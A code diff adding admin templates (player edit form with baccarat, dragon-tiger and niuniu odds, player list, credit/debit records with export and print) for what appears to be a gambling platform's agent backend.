var parent_ximalv_dt = $('#parent-ximalv-dt').val();
|
||||
var parent_cs = $('#parent-cs').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(parseFloat(query.ximalv) > parseFloat(parent_ximalv) || parseFloat(query.ximalv_dt) > parseFloat(parent_ximalv_dt)){
|
||||
layer.msg("码率不能超过父级码率");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.cs) > parseFloat(parent_cs)){
|
||||
layer.msg("占成不能超过父级占成");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/player/do_player_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/player/index';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,56 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">玩家列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">用户名</th>
|
||||
<th style="text-align: center;">联系人</th>
|
||||
<th style="text-align: center;">手机</th>
|
||||
<th style="text-align: center;">邮箱</th>
|
||||
<th style="text-align: center;">上级代理</th>
|
||||
<th style="text-align: center;">代理类型</th>
|
||||
<th style="text-align: center;">最近上分</th>
|
||||
<th style="text-align: center;">商户余额</th>
|
||||
<th style="text-align: center;">洗码率(%)</th>
|
||||
<th style="text-align: center;">总下注</th>
|
||||
<th style="text-align: center;">总赢</th>
|
||||
<th style="text-align: center;">码量</th>
|
||||
<th style="text-align: center;">创建日期</th>
|
||||
<th style="text-align: center;">状态</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.mobile}</td>
|
||||
<td>{$vo.email}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>玩家</td>
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.all_bet_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td style="width:80px;">{$vo.reg_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td>正常</td>
|
||||
{else}
|
||||
<td>锁定中</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,254 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">玩家上下分记录列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">玩家上下分记录添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/scores" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="mode" id="mode">
|
||||
<option value="-1" selected>请选择操作类型</option>
|
||||
<option value="1" <?php if(isset($get['mode']) && $get['mode'] == 1) {echo 'selected';} ?>>上分</option>
|
||||
<option value="2" <?php if(isset($get['mode']) && $get['mode'] == 2) {echo 'selected';} ?>>下分</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<span class="layui-btn" id="print">打印</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>账号</th>
|
||||
<th>联系人</th>
|
||||
<th>代理类型</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作金额</th>
|
||||
<th>操作人</th>
|
||||
<th>余额</th>
|
||||
<th>创建日期</th>
|
||||
<th>备注</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="scoresList" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username_for}</td>
|
||||
<td>{$vo.nickname_for}</td>
|
||||
<td>{$vo.user_agent_level}</td>
|
||||
{if condition="$vo.mode == 1"}
|
||||
<td style="color:#ff5050;">{$vo.mode_msg}</td>
|
||||
<td style="color:#ff5050;">{$vo.amount}</td>
|
||||
{else}
|
||||
<td style="color:#009688;">{$vo.mode_msg}</td>
|
||||
<td style="color:#009688;">{$vo.amount}</td>
|
||||
{/if}
|
||||
<td>{$vo.admin_user_name}</td>
|
||||
<td>{$vo.new_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td class="td-manage">
|
||||
<a href="/player/scores_add_show?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">查看</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$scoresList->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == 1) location.href = '/player/scores';
|
||||
if(id == 2) location.href = '/player/scores_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/*用户-锁定/解锁*/
|
||||
function member_stop(obj, id) {
|
||||
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
|
||||
if ($(obj).attr('title') == '锁定') {
|
||||
// 拼装数据发送后台 锁定 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 0;
|
||||
var result = ajax('/member/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 1;
|
||||
var result = ajax('/agent/change_status', query);
|
||||
}
|
||||
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
setInterval(function () {
|
||||
location.reload();
|
||||
}, 1500);
|
||||
} else {
|
||||
layer.msg(result.msg, {icon: 2, time: 1500});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/agent/agent_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var mode = qs["mode"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(mode == undefined){
|
||||
mode = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'玩家上下分记录列表打印',
|
||||
content: '/player/scores_print?startDate='+startDate+'&endDate='+endDate+'&mode='+mode+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var agent_level = $('#agent_level').val();
|
||||
var mode = $('#mode').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/player/scores?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&agent_level="+agent_level+"&&mode="+mode+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,289 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
|
||||
#search-agent{ padding-left:16px;padding-top:5px; background:#fff; border-radius:5px;position:absolute; left:315px;top:0; margin-left:-3px;display:block;height:21px; color:black; border:1px solid #ececec; width: 25px;cursor:pointer; }
|
||||
#search-agent:hover{border-color:#ccc;}
|
||||
#search-agent i{margin-top:30px;}
|
||||
#search-agent:hover > i{ color:#148cf1; }
|
||||
#search-agent i{ margin-left:-4px; }
|
||||
#L_username{ background:#ececec; cursor:pointer; }
|
||||
#agent_list{ width:300px; height:400px; border:1px solid #a2a2a2; position:absolute; left:550px; top:44px; z-index:99; background:#fff; display:none; }
|
||||
#agent_list #header-box{ width:100%; height:40px; border-bottom:1px solid #ccc; position:relative; cursor:move; }
|
||||
#agent_list #header-box a{ position:absolute; top:3px; right:20px; font-size:22px; }
|
||||
#agent_list #header-box div{ height:30px; margin:10px 25px; line-height:30px; font-size:18px; font-weight:bold; color:#333; }
|
||||
#agent_list .main-box{ height:50px; margin-top:10px; background:#fff; }
|
||||
#agent_list .main-box label{ font-size:14px; margin-left:25px; margin-right:10px; }
|
||||
#agent_list .main-box input{ border-radius:5px; height:30px; width:110px; border:1px solid #ccc; padding-left:5px; }
|
||||
#agent_list .main-box input:focus{ border:1px solid #148cf1; }
|
||||
#agent_list .main-box button{ background:#fff; border:1px solid #ccc; width:60px; height:30px; border-radius:5px; cursor:pointer; margin-left:10px; }
|
||||
#agent_list .main-box button:hover{ border:1px solid #8a8a8a; }
|
||||
#agent_list .main-box .z-tree{ margin-top:20px; height:240px; }
|
||||
#agent_list .main-box .z-tree ul{ margin-left: 50px; }
|
||||
#agent_list .main-box .z-tree ul li{ list-style: none; position:relative; height:20px; padding-left:2px; cursor:default; }
|
||||
#agent_list .main-box .z-tree ul li:before{ position:absolute; top:-12px; left:-12px; content: ''; width: 10px; height: 20px; border-style: none none dotted dotted; border-width: 1px; border-color: #9e9e9e; }
|
||||
#agent_list .main-box .z-tree ul li.first:before{ border-style: none none dotted none; }
|
||||
#agent_list .main-box .z-tree ul li span.agent_name_box.on{ background:#eaeaea; border:1px solid #ccc; }
|
||||
#agent_list .button-box{ height:40px; background:#eee; position:relative; top:249px; line-height:40px; }
|
||||
#agent_list .button-box span{ position:absolute; right:10px; }
|
||||
#agent_list .button-box span button{ width:50px; height:25px; margin-left:2px; border-radius:5px; }
|
||||
#agent_list .button-box span button:hover{ background:#edefd1; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">玩家上下分记录列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">玩家上下分记录添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
<input id="L_username" name="L_username" type="text" readonly maxlength="50" minlength="3" class="required">
|
||||
<span id="search-agent"><i class="layui-icon"></i></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作类型:</label>
|
||||
<div class="controls">
|
||||
<input class="scores" name="scores" value="1" type="radio" class="required" style="width:20px;">
|
||||
<span style="line-height:10px;display:inline-block;">上分</span>
|
||||
<input class="scores" name="scores" value="2" type="radio" class="required" style="width:20px;">下分
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作金额:</label>
|
||||
<div class="controls">
|
||||
<input id="L_amount" name="L_amount" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作用户:</label>
|
||||
<div class="controls">
|
||||
<input id="L_controller" name="L_controller" type="text" readonly value="{$user_info.admin}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">余额:</label>
|
||||
<div class="controls">
|
||||
<input id="L_money" name="L_money" type="text" readonly value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea name="desc" id="L_remarks" style="width:25%;" placeholder="请输入内容" class="layui-textarea"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="agent_list">
|
||||
<div id="header-box">
|
||||
<div>选择代理</div>
|
||||
<a class="cancel" href="javascript:;">X</a>
|
||||
</div>
|
||||
<div class="main-box">
|
||||
<div class="search-box">
|
||||
<label class="key-word">关键字 :</label>
|
||||
<input type="text" id="agent_name">
|
||||
<button id="search_key_word">搜索</button>
|
||||
</div>
|
||||
<div class="z-tree" id="z-tree">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-box">
|
||||
<span>
|
||||
<button class="ensure">确定</button>
|
||||
<button class="cancel">取消</button>
|
||||
</span>
|
||||
</div>
|
||||
<input type="hidden" id="short-username" value="">
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == 1) location.href = '/player/scores';
|
||||
if(id == 2) location.href = '/player/scores_add';
|
||||
});
|
||||
|
||||
// 鼠标按下控件跟随移动
|
||||
function mouseMoveBox(pressId,boxId){
|
||||
var _move = false;//移动标记
|
||||
var _x,_y;//鼠标离控件左上角的相对位置
|
||||
$("#"+pressId).mousedown(function(e){
|
||||
// 按下鼠标计算与控件的相对位置
|
||||
_move = true;
|
||||
_x = e.pageX-parseInt($("#"+boxId).css("left"));
|
||||
_y = e.pageY-parseInt($("#"+boxId).css("top"));
|
||||
});
|
||||
$(document).mousemove(function(e){
|
||||
if(_move){
|
||||
//移动时根据鼠标位置计算控件左上角的绝对位置
|
||||
var x=e.pageX-_x;
|
||||
var y=e.pageY-_y;
|
||||
$("#"+boxId).css({top:y,left:x});//控件新位置
|
||||
}
|
||||
}).mouseup(function(){
|
||||
//松开鼠标后停止移动
|
||||
_move = false;
|
||||
});
|
||||
}
|
||||
// 代理列表跟随鼠标移动
|
||||
mouseMoveBox('header-box','agent_list');
|
||||
|
||||
|
||||
// 点击搜索所有的代理列表
|
||||
$('#search-agent').click(function(){
|
||||
var result = ajax('/player/getPlayer');
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
});
|
||||
$('#L_username').click(function(){
|
||||
var result = ajax('/player/getPlayer');
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
});
|
||||
|
||||
// 关键字搜索所有的代理列表
|
||||
$('#search_key_word').click(function(){
|
||||
var key_word = $('#agent_name').val();
|
||||
if(key_word){
|
||||
var query = new Object();
|
||||
query.username = key_word;
|
||||
var result = ajax('/player/getPlayer',query);
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
}
|
||||
});
|
||||
|
||||
// 选择代理名字
|
||||
$('#agent_list').on('click','.tree-li',function(){
|
||||
var username = $(this).find('span').eq(1).html();
|
||||
// 调整样式
|
||||
$('.agent_name_box').removeClass('on');
|
||||
$(this).find('.agent_name_box').addClass('on');
|
||||
// 动态数据
|
||||
$('#short-username').val(username);
|
||||
});
|
||||
// 双击触发选择代理
|
||||
$('#agent_list').on('dblclick','.tree-li',function(){
|
||||
$('.ensure').trigger('click');
|
||||
});
|
||||
|
||||
// 确定
|
||||
$('.ensure').click(function(){
|
||||
var username = $('#short-username').val();
|
||||
$('#L_username').val(username);
|
||||
$('#agent_list').hide();
|
||||
// 获取代理余额信息
|
||||
var username = $('#L_username').val();
|
||||
if(username){
|
||||
var result = ajax('/player/getPlayerMoney',{username:username});
|
||||
// 显示余额限制
|
||||
$('#L_money').val(result);
|
||||
}
|
||||
});
|
||||
|
||||
// 取消
|
||||
$('.cancel').click(function(){
|
||||
$('#agent_list').hide();
|
||||
});
|
||||
|
||||
// 选择上分还是下分
|
||||
$('.scores').click(function(){
|
||||
var id = $(this).val();
|
||||
if(id == 1) $('#L_remarks').html('总台上分 !');
|
||||
if(id == 2) $('#L_remarks').html('总台下分 !');
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function () {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.username = $('#L_username').val();
|
||||
query.amount = $('#L_amount').val();
|
||||
query.mode = $('.scores:checked').val();
|
||||
query.controller = $('#L_controller').val();
|
||||
query.remarks = $('#L_remarks').val();
|
||||
var money = $('#L_money').val();
|
||||
|
||||
// 验证数据
|
||||
if(!query.username){
|
||||
layer.alert("请选择账号!");
|
||||
return false;
|
||||
}
|
||||
if(!query.mode){
|
||||
layer.alert("请选择操作类型!");
|
||||
return false;
|
||||
}
|
||||
if(!query.amount){
|
||||
layer.alert("请输入操作金额!");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.amount) <= 0){
|
||||
layer.alert("操作金额必须大于0!");
|
||||
return false;
|
||||
}
|
||||
if(query.mode == 2 && parseFloat(query.amount) > parseFloat(money)){
|
||||
layer.alert("操作金额不能大于余额!");
|
||||
return false;
|
||||
}
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/player/do_scores_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/player/scores";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,87 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .scores_add_show{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;}
|
||||
.change_box .scores_add_show{color: #3daae9;}
|
||||
.change_box .scores_add_show:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.layui-input-block{ width:500px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px;padding-top: 5px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.pass_back{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav">
|
||||
<span class="change_box">
|
||||
<a href="/player/scores" class="scores_list">玩家上下分记录列表</a>
|
||||
<a href="javascript:;" class="scores_add_show">代理上下分记录查看</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<form class="layui-form form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.username_for}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作类型:</label>
|
||||
{if condition="$recharge.mode == 1"}
|
||||
<div class="controls" style="position:relative;color:#ff5050;">
|
||||
{$recharge.mode_msg}
|
||||
</div>
|
||||
{else}
|
||||
<div class="controls" style="position:relative;color:#009688;">
|
||||
{$recharge.mode_msg}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作金额:</label>
|
||||
{if condition="$recharge.mode == 1"}
|
||||
<div class="controls" style="position:relative;color:#ff5050;">
|
||||
{$recharge.amount}
|
||||
</div>
|
||||
{else}
|
||||
<div class="controls" style="position:relative;color:#009688;">
|
||||
{$recharge.amount}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作用户:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.admin_user_name}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">余额:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
